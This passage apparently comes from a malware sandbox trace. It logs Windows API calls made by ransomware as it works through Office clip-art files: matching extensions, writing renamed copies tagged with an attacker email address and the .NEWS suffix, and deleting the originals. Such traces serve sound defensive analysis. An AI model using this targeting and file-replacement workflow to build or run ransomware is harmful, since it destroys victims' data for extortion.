[0174.582] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0174.582] lstrlenW (lpString=".ppt") returned 4 [0174.582] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0174.582] lstrlenW (lpString=".zip") returned 4 [0174.582] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.582] lstrlenW (lpString=".rar") returned 4 [0174.582] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.582] lstrlenW (lpString=".bz2") returned 4 [0174.583] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.583] lstrlenW (lpString=".7z") returned 3 [0174.583] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0174.583] lstrlenW (lpString=".dbf") returned 4 [0174.583] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0174.583] lstrlenW (lpString=".1cd") returned 4 [0174.583] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0174.583] lstrlenW (lpString=".jpg") returned 4 [0174.583] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.583] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0174.583] lstrlenW (lpString="J0105292.WMF") returned 12 [0174.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0174.584] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=14868) returned 1 [0174.584] CloseHandle (hObject=0x544) returned 1 [0174.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 0x220 [0174.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0174.584] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.585] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0174.585] GetLastError () returned 0x0 [0174.585] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x3a14, lpOverlapped=0x0) returned 1 [0174.953] WriteFile (in: hFile=0x554, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x3a20, lpOverlapped=0x0) returned 1 [0174.969] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0174.969] WriteFile (in: hFile=0x554, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0174.970] SetEndOfFile (hFile=0x554) returned 1 [0175.595] CloseHandle (hObject=0x554) returned 1 [0175.988] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.988] SetEndOfFile (hFile=0x544) returned 1 [0175.991] CloseHandle (hObject=0x544) returned 1 [0175.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0175.993] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105292.wmf")) returned 1 [0175.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0175.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0175.994] lstrlenW (lpString=".doc") returned 4 [0175.994] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0175.994] lstrlenW (lpString=".docx") returned 5 [0175.994] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0175.994] lstrlenW (lpString=".pdf") returned 4 [0175.994] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0175.994] lstrlenW (lpString=".xls") returned 4 [0175.994] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0175.994] lstrlenW (lpString=".xlsx") returned 5 [0175.994] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0175.994] lstrlenW (lpString=".ppt") returned 4 [0175.994] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0175.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0175.994] lstrlenW (lpString=".zip") returned 4 [0175.994] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0175.995] lstrlenW (lpString=".rar") returned 4 [0175.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0175.995] lstrlenW (lpString=".bz2") returned 4 [0175.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0175.995] lstrlenW (lpString=".7z") returned 3 [0175.995] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0175.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0175.995] lstrlenW (lpString=".dbf") returned 4 [0175.995] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0175.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0175.995] lstrlenW (lpString=".1cd") returned 4 [0175.995] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0175.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0175.995] lstrlenW (lpString=".jpg") returned 4 [0175.995] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0175.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0175.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0175.995] lstrlenW (lpString=".doc") returned 4 [0175.995] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0175.995] lstrlenW (lpString=".docx") returned 5 [0175.995] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0175.995] lstrlenW (lpString=".pdf") returned 4 [0175.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0175.995] lstrlenW (lpString=".xls") returned 4 [0175.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0175.996] lstrlenW (lpString=".xlsx") returned 5 [0175.996] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0175.996] lstrlenW (lpString=".ppt") returned 4 [0175.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0175.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0175.996] lstrlenW (lpString=".zip") returned 4 [0175.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0175.996] lstrlenW (lpString=".rar") returned 4 [0175.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0175.996] lstrlenW (lpString=".bz2") returned 4 [0175.996] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0175.996] lstrlenW (lpString=".7z") returned 3 [0175.996] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0175.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0175.996] lstrlenW (lpString=".dbf") returned 4 [0175.996] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0175.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0175.996] lstrlenW (lpString=".1cd") returned 4 [0175.996] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0175.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105292.WMF") returned 68 [0175.996] lstrlenW (lpString=".jpg") returned 4 [0175.996] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0175.996] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0175.996] lstrlenW (lpString="J0105336.WMF") returned 12 [0175.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0175.997] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=2900) returned 1 [0175.997] CloseHandle (hObject=0x544) returned 1 [0175.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 0x220 [0175.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0175.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0175.998] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.998] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0175.999] GetLastError () returned 0x0 [0175.999] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0xb54, lpOverlapped=0x0) returned 1 [0176.137] WriteFile (in: hFile=0x450, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xb60, lpOverlapped=0x0) returned 1 [0176.305] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.305] WriteFile (in: hFile=0x450, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0176.305] SetEndOfFile (hFile=0x450) returned 1 [0176.305] CloseHandle (hObject=0x450) returned 1 [0176.305] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.305] SetEndOfFile (hFile=0x544) returned 1 [0176.317] CloseHandle (hObject=0x544) returned 1 [0176.317] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.318] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105336.wmf")) returned 1 [0176.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0176.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0176.318] lstrlenW (lpString=".doc") returned 4 [0176.318] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.318] lstrlenW (lpString=".docx") returned 5 [0176.318] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0176.318] lstrlenW (lpString=".pdf") returned 4 [0176.318] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.318] lstrlenW (lpString=".xls") returned 4 [0176.319] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.319] lstrlenW (lpString=".xlsx") returned 5 [0176.319] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0176.319] lstrlenW (lpString=".ppt") returned 4 [0176.319] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0176.319] lstrlenW (lpString=".zip") returned 4 [0176.319] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.319] lstrlenW (lpString=".rar") returned 4 [0176.319] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.319] lstrlenW (lpString=".bz2") returned 4 [0176.319] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.319] lstrlenW (lpString=".7z") returned 3 [0176.319] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0176.319] lstrlenW (lpString=".dbf") returned 4 [0176.319] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0176.319] lstrlenW (lpString=".1cd") returned 4 [0176.319] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0176.319] lstrlenW (lpString=".jpg") returned 4 [0176.319] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0176.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0176.319] lstrlenW (lpString=".doc") returned 4 [0176.319] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.319] lstrlenW (lpString=".docx") returned 5 [0176.319] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0176.319] lstrlenW (lpString=".pdf") returned 4 [0176.319] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.319] lstrlenW (lpString=".xls") returned 4 [0176.319] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.319] lstrlenW (lpString=".xlsx") returned 5 [0176.319] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0176.319] lstrlenW (lpString=".ppt") returned 4 [0176.320] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0176.320] lstrlenW (lpString=".zip") returned 4 [0176.320] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.320] lstrlenW (lpString=".rar") returned 4 [0176.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.320] lstrlenW (lpString=".bz2") returned 4 [0176.320] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.320] lstrlenW (lpString=".7z") returned 3 [0176.320] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0176.320] lstrlenW (lpString=".dbf") returned 4 [0176.320] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0176.320] lstrlenW (lpString=".1cd") returned 4 [0176.320] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105336.WMF") returned 68 [0176.320] lstrlenW (lpString=".jpg") returned 4 [0176.320] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.320] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0176.320] lstrlenW (lpString="J0105386.WMF") returned 12 [0176.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0176.321] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=5980) returned 1 [0176.321] CloseHandle (hObject=0x544) returned 1 [0176.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf")) returned 0x220 [0176.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0176.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0176.321] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.321] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0176.322] GetLastError () returned 0x0 [0176.322] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x175c, lpOverlapped=0x0) returned 1 [0176.385] WriteFile (in: hFile=0x554, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1760, lpOverlapped=0x0) returned 1 [0176.386] ReadFile (in: hFile=0x544, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.386] WriteFile (in: hFile=0x554, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0176.386] SetEndOfFile (hFile=0x554) returned 1 [0176.386] CloseHandle (hObject=0x554) returned 1 [0176.386] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.386] SetEndOfFile (hFile=0x544) returned 1 [0176.389] CloseHandle (hObject=0x544) returned 1 [0176.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.389] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf")) returned 1 [0176.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0176.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0176.390] lstrlenW (lpString=".doc") returned 4 [0176.390] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.390] lstrlenW (lpString=".docx") returned 5 [0176.390] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0176.390] lstrlenW (lpString=".pdf") returned 4 [0176.390] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.390] lstrlenW (lpString=".xls") returned 4 [0176.390] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.390] lstrlenW (lpString=".xlsx") returned 5 [0176.390] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0176.390] lstrlenW (lpString=".ppt") returned 4 [0176.390] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0176.390] lstrlenW (lpString=".zip") returned 4 [0176.390] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.390] lstrlenW (lpString=".rar") returned 4 [0176.391] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.391] lstrlenW (lpString=".bz2") returned 4 [0176.391] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.391] lstrlenW (lpString=".7z") returned 3 [0176.391] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0176.391] lstrlenW (lpString=".dbf") returned 4 [0176.391] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0176.391] lstrlenW (lpString=".1cd") returned 4 [0176.391] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0176.391] lstrlenW (lpString=".jpg") returned 4 [0176.391] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0176.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0176.391] lstrlenW (lpString=".doc") returned 4 [0176.391] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.391] lstrlenW (lpString=".docx") returned 5 [0176.391] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0176.391] lstrlenW (lpString=".pdf") returned 4 [0176.391] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.391] lstrlenW (lpString=".xls") returned 4 [0176.391] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.391] lstrlenW (lpString=".xlsx") returned 5 [0176.391] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0176.391] lstrlenW (lpString=".ppt") returned 4 [0176.391] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68 [0176.391] lstrlenW (lpString=".zip") returned 4 [0176.391] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.391] lstrlenW (lpString=".rar") returned 4 [0176.391] lstrcmpiW 